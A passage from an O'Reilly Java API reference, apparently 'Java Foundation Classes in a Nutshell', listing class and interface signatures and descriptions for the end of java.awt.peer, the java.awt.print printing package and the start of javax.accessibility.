// | Public Instance Methods
1.1 | public abstract Dimension getMinimumSize (int rows, int columns);
1.1 | public abstract Dimension getPreferredSize (int rows, int columns);
1.1 | public abstract void insert (String text, int pos);
 | public abstract void insertText (String txt, int pos);
 | public abstract Dimension minimumSize (int rows, int cols);
 | public abstract Dimension preferredSize (int rows, int cols);
1.1 | public abstract void replaceRange (String text, int start, int end);
 | public abstract void replaceText (String txt, int start, int end);
}
TextComponentPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface TextComponentPeer extends ComponentPeer {
// | Property Accessor Methods (by property name)
1.1 | public abstract int getCaretPosition ();
1.1 | public abstract void setCaretPosition (int pos);
 | public abstract int getSelectionEnd ();
 | public abstract int getSelectionStart ();
 | public abstract String getText ();
 | public abstract void setText (String l);
// | Public Instance Methods
 | public abstract void select (int selStart, int selEnd);
 | public abstract void setEditable (boolean editable);
}
TextFieldPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface TextFieldPeer extends TextComponentPeer {
// | Public Instance Methods
1.1 | public abstract Dimension getMinimumSize (int columns);
1.1 | public abstract Dimension getPreferredSize (int columns);
 | public abstract Dimension minimumSize (int cols);
 | public abstract Dimension preferredSize (int cols);
1.1 | public abstract void setEchoChar (char echoChar);
 | public abstract void setEchoCharacter (char c);
}
WindowPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface WindowPeer extends ContainerPeer {
// | Public Constants
1.2 | public static final int CONSUME_EVENT ; | =1
1.2 | public static final int FOCUS_NEXT ; | =2
1.2 | public static final int FOCUS_PREVIOUS ; | =3
1.2 | public static final int IGNORE_EVENT ; | =0
// | Public Instance Methods
1.2 | public abstract int handleFocusTraversalEvent (java.awt.event.KeyEvent e); |
 | public abstract void toBack (); |
 | public abstract void toFront (); |
}
Previous | Home | Next
19.1. The java.awt.image.renderable Package | Book Index | 21. The java.awt.print Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.print Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 21. The java.awt.print Package

The java.awt.print package contains classes and interfaces that support printing. It has been introduced in Java 1.2 and supersedes the PrintJob class of the java.awt package. The most important class in this package is PrinterJob; it coordinates the printing process. The Printable and Pageable interfaces represent printable objects or documents that can be printed with a PrinterJob. Figure 21-1 shows the class hierarchy of this package. See Chapter 5, "Printing", for more details on printing.

Figure 21-1. The java.awt.print package

Book Java 1.2
java.awt.print

This class implements a multi-page Pageable document out of individual single-page Printable objects. Each page of the Book can have its own PageFormat specified. You might use this class, for example, in a database-reporting application when you want to print a report that consists of single-page tables and graphs in mixed portrait and landscape modes.

The append() and setPage() methods allow you to specify the Printable pages that make up the book, along with their PageFormat objects. The remaining methods implement the Pageable interface and are used by a PrinterJob to print the Book.

As with all Pageable objects, the Printable objects added to a Book must print only a single page. (See Pageable for details.) Note that the three-argument version of append() takes a numPages argument. This argument does not specify the number of pages in the Printable; instead, it specifies the number of identical copies of the single-page Printable to be printed.

public class Book implements Pageable {
// | Public Constructors
 | public Book (); |
// | Public Instance Methods
 | public void append (Printable painter, PageFormat page); |
 | public void append (Printable painter, PageFormat page, int numPages); |
 | public void setPage (int pageIndex, Printable painter, PageFormat page) throws IndexOutOfBoundsException; |
// | Methods Implementing Pageable
 | public int getNumberOfPages (); | default:0
 | public PageFormat getPageFormat (int pageIndex) throws IndexOutOfBoundsException; |
 | public Printable getPrintable (int pageIndex) throws IndexOutOfBoundsException; |
}

Hierarchy: Object-->Book(Pageable)

Pageable Java 1.2
java.awt.print

This interface is implemented by multipage documents that know how to print themselves in more sophisticated ways than the Printable interface allows. There are two primary differences between Pageable and Printable. The first is that a Pageable object knows how many pages are in the document and can print them in an arbitrary order. This allows a printer dialog to give the user the choice to print only a range of pages within the document. It also allows the user to request that the pages be printed in reverse order, which is useful on some printers that stack document pages in reverse order. The second difference between Pageable and Printable is that each page of a Pageable may have a different PageFormat associated with it. This is useful when a document contains pages in portrait orientation and some pages in landscape orientation, for example.

The heart of the Pageable interface is the method getPrintable(), which returns a Printable object able to print the specified page of the document. The Printable objects returned by this method are used differently and must be implemented differently than Printable objects that are designed to be printed alone. While standalone Printable objects may print multiple pages, the Printable objects returned by a Pageable represent only a single page. In other words, the getPrintable() method of Pageable is called once for every page in the document, and the Printable it returns is used to print only that one page.

The Pageable interface lends itself to two distinct implementation strategies. In the first, the getPrintable() method returns a different Printable object for each page of the document. This Printable object knows exactly what page to print and can ignore the pageIndex argument passed to its print() method. The second strategy is to implement a single Printable object and have the getPrintable() method always return this one object, regardless of page number. In this case, the print() method uses the pageIndex argument to decide what page to print. Note that a Printable implemented in this way must be more flexible than a standalone Printable object, since its pages may be printed in any order and are not guaranteed to be accessed sequentially.

Finally, as with standalone Printable objects, Printable objects returned by Pageable objects must be prepared to have their print() methods called multiple times for the same page number. This is a requirement for banded raster printing in low-memory environments. See Printable for details.

public abstract interface Pageable {
// | Public Constants
 | public static final int UNKNOWN_NUMBER_OF_PAGES ; | =-1
// | Public Instance Methods
 | public abstract int getNumberOfPages (); |
 | public abstract PageFormat getPageFormat (int pageIndex) throws IndexOutOfBoundsException; |
 | public abstract Printable getPrintable (int pageIndex) throws IndexOutOfBoundsException; |
}

Implementations: Book

Passed To: PrinterJob.setPageable()

PageFormat | Java 1.2
java.awt.print | cloneable

This class is a combination of a Paper object that specifies page size and imageable area with a field that specifies the orientation of the page. The orientation values are the following:

PORTRAIT

This is the normal orientation of a piece of paper. The origin is at the top left, with the X axis running from left to right and the Y axis running from top to bottom.

LANDSCAPE

This is the orientation that results from rotating a piece of paper 90 degrees clockwise. The origin is at the bottom left of the sheet of paper, with the X axis running from bottom to top and the Y axis running from left to right.

REVERSE_LANDSCAPE

This is the orientation that results from rotating a piece of paper 90 degrees counterclockwise. The origin is at the top right of the sheet of paper, with the X axis running from top to bottom and the Y axis running from right to left.

Printable and Pageable objects are not responsible for performing the rotations necessary to print in these orientations. The appropriate transform has already been done in the Graphics object passed to the print() method of Printable.

public class PageFormat implements Cloneable {
// | Public Constructors
 | public PageFormat (); |
// | Public Constants
 | public static final int LANDSCAPE ; | =0
 | public static final int PORTRAIT ; | =1
 | public static final int REVERSE_LANDSCAPE ; | =2
// | Property Accessor Methods (by property name)
 | public double getHeight (); | default:792.0
 | public double getImageableHeight (); | default:648.0
 | public double getImageableWidth (); | default:468.0
 | public double getImageableX (); | default:72.0
 | public double getImageableY (); | default:72.0
 | public double[ ] getMatrix (); |
 | public int getOrientation (); | default:1
 | public void setOrientation (int orientation) throws IllegalArgumentException; |
 | public Paper getPaper (); |
 | public void setPaper (Paper paper); |
 | public double getWidth (); | default:612.0
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->PageFormat(Cloneable)

Passed To: Book.{append(), setPage()}, Printable.print(), PrinterJob.{defaultPage(), pageDialog(), setPrintable(), validatePage()}

Returned By: Book.getPageFormat(), Pageable.getPageFormat(), PrinterJob.{defaultPage(), pageDialog(), validatePage()}

Paper | Java 1.2
java.awt.print | cloneable

This class describes the width, height, and imageable area of a piece of paper. The imageable area is the region of a page that should be printed on--the area inside the margins. Most printers cannot print all the way to the edges of the page and require margins of at least a quarter inch on all sides. All coordinates and sizes used by this class are measured in printer's points, where one point is defined as exactly 1/72nd of an inch.

public class Paper implements Cloneable {
// | Public Constructors
 | public Paper (); |
// | Property Accessor Methods (by property name)
 | public double getHeight (); | default:792.0
 | public double getImageableHeight (); | default:648.0
 | public double getImageableWidth (); | default:468.0
 | public double getImageableX (); | default:72.0
 | public double getImageableY (); | default:72.0
 | public double getWidth (); | default:612.0
// | Public Instance Methods
 | public void setImageableArea (double x, double y, double width, double height); |
 | public void setSize (double width, double height); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->Paper(Cloneable)

Passed To: PageFormat.setPaper()

Returned By: PageFormat.getPaper()

Printable Java 1.2
java.awt.print

This interface is implemented by objects that know how to print themselves. It should be implemented by objects that always print a single page, or by multipage documents that know how to print their pages in sequential order only. Multipage documents that are able to print their pages in arbitrary order should implement the somewhat more complex Pageable interface.

When a PrinterJob prints a Printable object, it calls the print() method one or more times to print the pages. This method should print the page specified by pageIndex, using the specified Graphics object and the page size and orientation specified in the PageFormat object.

The PrinterJob guarantees that it prints the pages of a Printable in strictly sequential order. The pageIndex argument begins at 0 and increases. After printing a page, the print() method should return the PAGE_EXISTS constant. Since the PrinterJob has no way of knowing how many pages there are in a Printable object, it keeps increasing the page number until the print() method returns the NO_SUCH_PAGE constant. When this value is returned, the PrinterJob knows that it has reached the end of the print job.

There is a very important twist in this communication protocol between PrinterJob and Printable. While the PrinterJob guarantees that it does not try to print pages out of order, it is allowed to print the same page multiple times. This means, for example, that the print() method may be called with a pageIndex argument of 0 three times in a row. Printable objects must be implemented with this possibility in mind. The reason that this is necessary is that, in some cases, printing is done into a very large (high-resolution) off-screen image, and this image data is then transferred to the printer. On systems with limited memory, this printing technique must be done in multiple passes, printing only a fraction, or band, of the page at each pass.

The Printable interface is also used by Pageable objects that know how to print their pages out of order. When a Printable object is returned by a Pageable object, the PrinterJob uses it differently than it does a standalone Printable object. See Pageable for details.

public abstract interface Printable {
// | Public Constants
 | public static final int NO_SUCH_PAGE ; | =1
 | public static final int PAGE_EXISTS ; | =0
// | Public Instance Methods
 | public abstract int print (Graphics graphics, PageFormat pageFormat, int pageIndex) throws PrinterException; |
}

Passed To: Book.{append(), setPage()}, PrinterJob.setPrintable()

Returned By: Book.getPrintable(), Pageable.getPrintable()

PrinterAbortException | Java 1.2
java.awt.print | serializable checked

Signals that a print job has been aborted, typically because of a user request to terminate it.

public class PrinterAbortException extends PrinterException {
// | Public Constructors
 | public PrinterAbortException ();
 | public PrinterAbortException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->PrinterException-->PrinterAbortException

PrinterException | Java 1.2
java.awt.print | serializable checked

This class serves as the superclass for all exceptions that may arise in the process of printing. See the subclasses PrinterAbortException and PrinterIOException. PrinterException and its subclasses are checked exceptions, they must be declared in the throws clauses of methods that may throw them.

public class PrinterException extends Exception {
// | Public Constructors
 | public PrinterException ();
 | public PrinterException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->PrinterException

Subclasses: PrinterAbortException, PrinterIOException

Thrown By: Printable.print(), PrinterJob.print()

PrinterGraphics Java 1.2
java.awt.print

This interface is implemented by any Graphics object that is passed to the print() method of a Printable object. This means that a Printable can always cast its Graphics object to a PrinterGraphics object and use the getPrinterJob() method to obtain the PrinterJob that is in use.

public abstract interface PrinterGraphics {
// | Public Instance Methods
 | public abstract PrinterJob getPrinterJob ();
}
PrinterIOException | Java 1.2
java.awt.print | serializable checked

Indicates that an I/O error occurred during the printing process. This usually means that the PrinterJob had trouble communicating with the printer or print server.

public class PrinterIOException extends PrinterException {
// | Public Constructors
 | public PrinterIOException (java.io.IOException exception);
// | Public Instance Methods
 | public java.io.IOException getIOException ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->PrinterException-->PrinterIOException

PrinterJob Java 1.2
java.awt.print

This class controls printing of Printable and Pageable objects. Applications typically use this class as follows:

  • Create a PrinterJob by calling the static method getPrinterJob(). This requires appropriate security permissions, so untrusted applets cannot do this.

  • Configure the PrinterJob, if desired, by calling setJobName() and setCopies().

  • Interactive applications that want to give the user a choice about page orientation and margins should call pageDialog(), passing in a default PageFormat object. This method returns a new PageFormat object that contains the user's choices. While pageDialog() is suitable for simple single-page Printable objects, it typically is not necessary for more complex multipage documents, since these often have implicit or explicit margin sizes and page orientation already specified.

  • Call setPrintable() or setPageable() to specify the object to be printed. You can use the PageFormat object returned by pageDialog(), defaultPage(), or validatePage() when creating the Printable or Pageable object used in this step. Or you can pass such a PageFormat object to the two-argument version of setPrintable().

  • If your application is an interactive one, call printDialog() to give the user a chance to specify what range of pages to print or to cancel the print job. printDialog() configures the PrinterJob and returns true if the user wants to proceed with the print job. If printDialog() returns false, you should not continue with the print job. Non-interactive jobs that run unattended should skip this step.

  • Finally, call print() to begin printing. If you are using more than one thread, you can abort the print job by calling cancel().

PrinterJob is the preferred class for printing in Java 1.2. Do not confuse it with java.awt.PrintJob, which was introduced in Java 1.1.

public abstract class PrinterJob {
// | Public Constructors
 | public PrinterJob ();
// | Public Class Methods
 | public static PrinterJob getPrinterJob ();
// | Property Accessor Methods (by property name)
 | public abstract boolean isCancelled ();
 | public abstract int getCopies ();
 | public abstract void setCopies (int copies);
 | public abstract String getJobName ();
 | public abstract void setJobName (String jobName);
 | public abstract String getUserName ();
// | Public Instance Methods
 | public abstract void cancel ();
 | public PageFormat defaultPage ();
 | public abstract PageFormat defaultPage (PageFormat page);
 | public abstract PageFormat pageDialog (PageFormat page);
 | public abstract void print () throws PrinterException;
 | public abstract boolean printDialog ();
 | public abstract void setPageable (Pageable document) throws NullPointerException;
 | public abstract void setPrintable (Printable painter);
 | public abstract void setPrintable (Printable painter, PageFormat format);
 | public abstract PageFormat validatePage (PageFormat page);
}

Returned By: PrinterGraphics.getPrinterJob(), PrinterJob.getPrinterJob()

Previous | Home | Next
20.1. The java.awt.peer Package | Book Index | 22. The javax.accessibility Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.accessibility Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 22. The javax.accessibility Package

The javax.accessibility package contains classes and interfaces that define the contract between an accessible application and an assistive technology, such as a screen reader for the vision impaired. All accessible GUI components implement the Accessible interface and must be able to return an AccessibleContext object. AccessibleContext is the main entry point for an assistive technology to obtain information about the component. The methods of AccessibleContext return instances of many of the other classes and interfaces in this package. Figure 22-1 shows the class hierarchy of this package, which is new in Java 1.2.

Typically, only GUI component developers and developers of assistive technologies need to use this package. Chapter 3, "Swing Programming Topics", contains an overview of accessibility.

Figure 22-1. The javax.accessibility package

Accessible | Java 1.2
javax.accessibility | accessible

This interface is the primary point of interaction between assistive technologies and accessible objects. All accessible objects implement the getAccessibleContext() method of this interface, providing a way for an assistive technology to obtain an AccessibleContext object that describes the accessible object. Component developers should implement this interface for their components, but application developers should never have to use it.

public abstract interface Accessible {
// | Public Instance Methods
 | public abstract AccessibleContext getAccessibleContext ();
}

Implementations: Too many classes to list.

Passed To: AccessibleContext.setAccessibleParent(), javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode.AccessibleJTreeNode()

Returned By: Too many methods to list.

Type Of: AccessibleContext.accessibleParent

AccessibleAction Java 1.2
javax.accessibility

This interface allows an assistive technology to obtain human-readable descriptions of the actions that an accessible object can perform and request that the object perform any one of them. Any accessible object that can perform one or more actions should return an AccessibleAction object from the getAccessibleAction() method of its AccessibleContext object. Applications never need to use or implement this interface.

public abstract interface AccessibleAction {
// | Public Instance Methods
 | public abstract boolean doAccessibleAction (int i);
 | public abstract int getAccessibleActionCount ();
 | public abstract String getAccessibleActionDescription (int i);
}

Implementations: AccessibleHyperlink, javax.swing.AbstractButton.AccessibleAbstractButton, javax.swing.JComboBox.AccessibleJComboBox, javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode

Returned By: AccessibleContext.getAccessibleAction(), javax.swing.AbstractButton.AccessibleAbstractButton.getAccessibleAction(), javax.swing.JComboBox.AccessibleJComboBox.getAccessibleAction(), javax.swing.JList.AccessibleJList.AccessibleJListChild.getAccessibleAction(), javax.swing.JTable.AccessibleJTable.AccessibleJTableCell.getAccessibleAction(), javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode.getAccessibleAction(), javax.swing.table.JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry.getAccessibleAction()

AccessibleBundle Java 1.2
javax.accessibility

This class is the abstract superclass of both AccessibleRole and AccessibleState. It defines the localized toDisplayString() method. Applications never need to use this class.

public abstract class AccessibleBundle {
// | Public Constructors
 | public AccessibleBundle ();
// | Public Instance Methods
 | public String toDisplayString ();
 | public String toDisplayString (java.util.Locale locale);
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Methods
 | protected String toDisplayString (String resourceBundleName, java.util.Locale locale);
// | Protected Instance Fields
 | protected String key ;
}

Subclasses: AccessibleRole, AccessibleState

AccessibleComponent Java 1.2
javax.accessibility

This interface allows an assistive technology to query and set basic graphical attributes for an accessible object. Any accessible object that displays itself on the screen should return an object of this type from the getAccessibleComponent() method of its AccessibleContext. Applications never need to use or implement this interface.

public abstract interface AccessibleComponent {
// | Event Registration Methods (by event name)
 | public abstract void addFocusListener (java.awt.event.FocusListener l);
 | public abstract void removeFocusListener (java.awt.event.FocusListener l);
// | Property Accessor Methods (by property name)
 | public abstract java.awt.Color getBackground ();
 | public abstract void setBackground (java.awt.Color c);
 | public abstract java.awt.Rectangle getBounds ();
 | public abstract void setBounds (java.awt.Rectangle r);
 | public abstract java.awt.Cursor getCursor ();
 | public abstract void setCursor (java.awt.Cursor cursor);
 | public abstract boolean isEnabled ();
 | public abstract void setEnabled (boolean b);
 | public abstract boolean isFocusTraversable ();
 | public abstract java.awt.Font getFont ();
 | public abstract void setFont (java.awt.Font f);
 | public abstract java.awt.Color getForeground ();
 | public abstract void setForeground (java.awt.Color c);
 | public abstract java.awt.Point getLocation ();
 | public abstract void setLocation (java.awt.Point p);
 | public abstract java.awt.Point getLocationOnScreen ();
 | public abstract boolean isShowing ();
 | public abstract java.awt.Dimension getSize ();
 | public abstract void setSize (java.awt.Dimension d);
 | public abstract boolean isVisible ();
 | public abstract void setVisible (boolean b);
// | Public Instance Methods
 | public abstract boolean contains (java.awt.Point p);
 | public abstract Accessible getAccessibleAt (java.awt.Point p);
 | public abstract java.awt.FontMetrics getFontMetrics (java.awt.Font f);
 | public abstract void requestFocus ();
}

Implementations: javax.swing.Box.AccessibleBox, javax.swing.Box.Filler.AccessibleBoxFiller, javax.swing.CellRendererPane.AccessibleCellRendererPane, javax.swing.JApplet.AccessibleJApplet, javax.swing.JComponent.AccessibleJComponent, javax.swing.JDialog.AccessibleJDialog, javax.swing.JFrame.AccessibleJFrame, javax.swing.JList.AccessibleJList.AccessibleJListChild, javax.swing.JPopupMenu.WindowPopup.AccessibleWindowPopup, javax.swing.JTable.AccessibleJTable.AccessibleJTableCell, javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode, javax.swing.JWindow.AccessibleJWindow, javax.swing.table.JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry

Returned By: AccessibleContext.getAccessibleComponent(), javax.swing.Box.AccessibleBox.getAccessibleComponent(), javax.swing.Box.Filler.AccessibleBoxFiller.getAccessibleComponent(), javax.swing.CellRendererPane.AccessibleCellRendererPane.getAccessibleComponent(), javax.swing.JApplet.AccessibleJApplet.getAccessibleComponent(), javax.swing.JComponent.AccessibleJComponent.getAccessibleComponent(), javax.swing.JDialog.AccessibleJDialog.getAccessibleComponent(), javax.swing.JFrame.AccessibleJFrame.getAccessibleComponent(), javax.swing.JList.AccessibleJList.AccessibleJListChild.getAccessibleComponent(), javax.swing.JPopupMenu.WindowPopup.AccessibleWindowPopup.getAccessibleComponent(), javax.swing.JTable.AccessibleJTable.AccessibleJTableCell.getAccessibleComponent(), javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode.getAccessibleComponent(), javax.swing.JWindow.AccessibleJWindow.getAccessibleComponent(), javax.swing.table.JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry.getAccessibleComponent()

AccessibleContext | Java 1.2
javax.accessibility | accessible context

This abstract class defines methods that provide basic information about an accessible object. Every Accessible object must be able to return an AccessibleContext to describe itself. The methods of AccessibleContext are largely self-explanatory. They allow an assistive technology to query the name, description, role, parent, children, and so on of the accessible object. In addition to this generic accessibility information, a number of AccessibleContext methods return more specialized objects that contain more specialized types of accessibility information. For example, if an accessible object is a GUI component, getAccessibleComponent() returns an AccessibleComponent object that contains further details about the accessible object. Applications never have to use this class.

public abstract class AccessibleContext {
// | Public Constructors
 | public AccessibleContext (); |
// | Public Constants
 | public static final String ACCESSIBLE_ACTIVE_DESCENDANT_PROPERTY ; | ="AccessibleActiveDescendant"
 | public static final String ACCESSIBLE_CARET_PROPERTY ; | ="AccessibleCaret"
 | public static final String ACCESSIBLE_CHILD_PROPERTY ; | ="AccessibleChild"
 | public static final String ACCESSIBLE_DESCRIPTION_PROPERTY ; | ="AccessibleDescription"
 | public static final String ACCESSIBLE_NAME_PROPERTY ; | ="AccessibleName"
 | public static final String ACCESSIBLE_SELECTION_PROPERTY ; | ="AccessibleSelection"
 | public static final String ACCESSIBLE_STATE_PROPERTY ; | ="AccessibleState"
 | public static final String ACCESSIBLE_TEXT_PROPERTY ; | ="AccessibleText"
 | public static final String ACCESSIBLE_VALUE_PROPERTY ; | ="AccessibleValue"
 | public static final String ACCESSIBLE_VISIBLE_DATA_PROPERTY ; | ="AccessibleVisibleData"
// | Event Registration Methods (by event name)
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); |
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); |
// | Property Accessor Methods (by property name)
 | public AccessibleAction getAccessibleAction (); | constant
 | public abstract int getAccessibleChildrenCount (); |
 | public AccessibleComponent getAccessibleComponent (); | constant
 | public String getAccessibleDescription (); |
 | public void setAccessibleDescription (String s); |
 | public abstract int getAccessibleIndexInParent (); |
 | public String getAccessibleName (); |
 | public void setAccessibleName (String s); |
 | public Accessible getAccessibleParent (); |
 | public void setAccessibleParent (Accessible a); |
 | public abstract AccessibleRole getAccessibleRole (); |
 | public AccessibleSelection getAccessibleSelection (); | constant
 | public abstract AccessibleStateSet getAccessibleStateSet (); |
 | public AccessibleText getAccessibleText (); | constant
 | public AccessibleValue getAccessibleValue (); | constant
 | public abstract java.util.Locale getLocale () throws java.awt.IllegalComponentStateException; |
// | Public Instance Methods
 | public void firePropertyChange (String propertyName, Object oldValue, Object newValue); |
 | public abstract Accessible getAccessibleChild (int i); |
// | Protected Instance Fields
 | protected String accessibleDescription ; |
 | protected String accessibleName ; |
 | protected Accessible accessibleParent ; |
}

Subclasses: javax.swing.Box.AccessibleBox, javax.swing.Box.Filler.AccessibleBoxFiller, javax.swing.CellRendererPane.AccessibleCellRendererPane, javax.swing.JApplet.AccessibleJApplet, javax.swing.JComponent.AccessibleJComponent, javax.swing.JDialog.AccessibleJDialog, javax.swing.JFrame.AccessibleJFrame, javax.swing.JList.AccessibleJList.AccessibleJListChild, javax.swing.JPopupMenu.WindowPopup.AccessibleWindowPopup, javax.swing.JTable.AccessibleJTable.AccessibleJTableCell, javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode, javax.swing.JWindow.AccessibleJWindow, javax.swing.table.JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry

Returned By: Too many methods to list.

Type Of: javax.swing.Box.accessibleContext, javax.swing.Box.Filler.accessibleContext, javax.swing.CellRendererPane.accessibleContext, javax.swing.JApplet.accessibleContext, javax.swing.JColorChooser.accessibleContext, javax.swing.JComponent.accessibleContext, javax.swing.JDialog.accessibleContext, javax.swing.JFileChooser.accessibleContext, javax.swing.JFrame.accessibleContext, javax.swing.JWindow.accessibleContext

AccessibleHyperlink Java 1.2
javax.accessibility

This abstract class is an AccessibleAction that describes a hyperlink or set of hyperlinks, such as those found in an HTML image map. In addition to the AccessibleAction methods, this class defines getAccessibleActionObject(), which should return an object describing the link, typically a java.net.URL object. getAccessibleActionAnchor() should return the object that displays the link. For HTML hypertext, this is the string or image that appears between the HTML <A> and </A> tags. Applications never need to use this class.

public abstract class AccessibleHyperlink implements AccessibleAction {
// | Public Constructors
 | public AccessibleHyperlink (); |
// | Property Accessor Methods (by property name)
 | public abstract int getAccessibleActionCount (); | Implements:AccessibleAction
 | public abstract int getEndIndex (); |
 | public abstract int getStartIndex (); |
 | public abstract boolean isValid (); |
// | Public Instance Methods
 | public abstract Object getAccessibleActionAnchor (int i); |
 | public abstract Object getAccessibleActionObject (int i); |
// | Methods Implementing AccessibleAction
 | public abstract boolean doAccessibleAction (int i); |
 | public abstract int getAccessibleActionCount (); |
 | public abstract String getAccessibleActionDescription (int i); |
}

Hierarchy: Object-->AccessibleHyperlink(AccessibleAction)

Subclasses: javax.swing.JEditorPane.JEditorPaneAccessibleHypertextSupport.HTMLLink

Returned By: AccessibleHypertext.getLink(), javax.swing.JEditorPane.JEditorPaneAccessibleHypertextSupport.getLink()

AccessibleHypertext Java 1.2
javax.accessibility

This interface extends AccessibleText. It allows an assistive technology to query the text of an accessible object and the hyperlinks contained in that text. Accessible components that display hyperlinked text should return an object of this type from the getAccessibleText() method of their AccessibleContext. The getLink() method of the AccessibleHypertext object should return AccessibleHyperlink objects describing the links. Applications never need to use or implement this interface.

public abstract interface AccessibleHypertext extends AccessibleText {
// | Public Instance Methods
 | public abstract AccessibleHyperlink getLink (int linkIndex);
 | public abstract int getLinkCount ();
 | public abstract int getLinkIndex (int charIndex);
}

Hierarchy: (AccessibleHypertext(AccessibleText))

Implementations: javax.swing.JEditorPane.JEditorPaneAccessibleHypertextSupport

AccessibleResourceBundle Java 1.2
javax.accessibility

This class is a java.util.ResourceBundle that contains all the localized strings for the javax.accessibility package. It is used internally by the package and is not intended for use by applications, components, or assistive technologies.

public class AccessibleResourceBundle extends java.util.ListResourceBundle {
// | Public Constructors
 | public AccessibleResourceBundle ();
// | Public Methods Overriding ListResourceBundle
 | public Object[ ][ ] getContents ();
}

Hierarchy: Object-->java.util.ResourceBundle-->java.util.ListResourceBundle-->AccessibleResourceBundle

AccessibleRole Java 1.2
javax.accessibility

This class exists only to provide a type-safe enumeration of constants that may be legally returned by the getAccessibleRole() method of an AccessibleContext object. An AccessibleRole object describes the role or basic function of an accessible object. The predefined AccessibleRole objects describe the roles played by various Swing components. This set of predefined roles should be sufficient for most purposes, although a specialized component that performs a specialized role could create a new role constant for itself by subclassing AccessibleRole. AccessibleRole inherits toDisplayString() from it superclass. This method returns a localized human-readable string describing the role. Applications never need to use this class.

public class AccessibleRole extends AccessibleBundle {
// | Protected Constructors
 | protected AccessibleRole (String key);
// | Public Constants
 | public static final AccessibleRole ALERT ;
 | public static final AccessibleRole AWT_COMPONENT ;
 | public static final AccessibleRole CHECK_BOX ;
 | public static final AccessibleRole COLOR_CHOOSER ;
 | public static final AccessibleRole COLUMN_HEADER ;
 | public static final AccessibleRole COMBO_BOX ;
 | public static final AccessibleRole DESKTOP_ICON ;
 | public static final AccessibleRole DESKTOP_PANE ;
 | public static final AccessibleRole DIALOG ;
 | public static final AccessibleRole DIRECTORY_PANE ;
 | public static final AccessibleRole FILE_CHOOSER ;
 | public static final AccessibleRole FILLER ;
 | public static final AccessibleRole FRAME ;
 | public static final AccessibleRole GLASS_PANE ;
 | public static final AccessibleRole INTERNAL_FRAME ;
 | public static final AccessibleRole LABEL ;
 | public static final AccessibleRole LAYERED_PANE ;
 | public static final AccessibleRole LIST ;
 | public static final AccessibleRole MENU ;
 | public static final AccessibleRole MENU_BAR ;
 | public static final AccessibleRole MENU_ITEM ;
 | public static final AccessibleRole OPTION_PANE ;
 | public static final AccessibleRole PAGE_TAB ;
 | public static final AccessibleRole PAGE_TAB_LIST ;
 | public static final AccessibleRole PANEL ;
 | public static final AccessibleRole PASSWORD_TEXT ;
 | public static final AccessibleRole POPUP_MENU ;
 | public static final AccessibleRole PROGRESS_BAR ;
 | public static final AccessibleRole PUSH_BUTTON ;
 | public static final AccessibleRole RADIO_BUTTON ;
 | public static final AccessibleRole ROOT_PANE ;
 | public static final AccessibleRole ROW_HEADER ;
 | public static final AccessibleRole SCROLL_BAR ;
 | public static final AccessibleRole SCROLL_PANE ;
 | public static final AccessibleRole SEPARATOR ;
 | public static final AccessibleRole SLIDER ;
 | public static final AccessibleRole SPLIT_PANE ;
 | public static final AccessibleRole SWING_COMPONENT ;
 | public static final AccessibleRole TABLE ;
 | public static final AccessibleRole TEXT ;
 | public static final AccessibleRole TOGGLE_BUTTON ;
 | public static final AccessibleRole TOOL_BAR ;
 | public static final AccessibleRole TOOL_TIP ;
 | public static final AccessibleRole TREE ;
 | public static final AccessibleRole UNKNOWN ;
 | public static final AccessibleRole VIEWPORT ;
 | public static final AccessibleRole WINDOW ;
}

Hierarchy: Object-->AccessibleBundle-->AccessibleRole

Returned By: Too many methods to list.

Type Of: Too many fields to list.

AccessibleSelection Java 1.2
javax.accessibility

This interface allows an assistive technology to query and set the selection state of an accessible object that allows selection of items that are themselves accessible objects. An accessible object with selectable children should return an AccessibleSelection object from the getAccessibleSelection() method of its AccessibleContext. It should also be sure to implement Accessible objects to represent each of the selectable children. As an example, note that JTextComponent allows text to be selected, but this is not a selectable child, so it does not support the AccessibleSelection interface. On the other hand, JList allows selection of discrete child list items. It supports the AccessibleSelection interface and defines the JList.AccessibleJList.AccessibleJListChild to provide accessibility support for the individual items in the list. Applications never need to use or implement this interface.

public abstract interface AccessibleSelection {
// | Public Instance Methods
 | public abstract void addAccessibleSelection (int i);
 | public abstract void clearAccessibleSelection ();
 | public abstract Accessible getAccessibleSelection (int i);
 | public abstract int getAccessibleSelectionCount ();
 | public abstract boolean isAccessibleChildSelected (int i);
 | public abstract void removeAccessibleSelection (int i);
 | public abstract void selectAllAccessibleSelection ();
}

Implementations: javax.swing.JList.AccessibleJList, javax.swing.JMenu.AccessibleJMenu, javax.swing.JMenuBar.AccessibleJMenuBar, javax.swing.JTabbedPane.AccessibleJTabbedPane, javax.swing.JTable.AccessibleJTable, javax.swing.JTree.AccessibleJTree, javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode

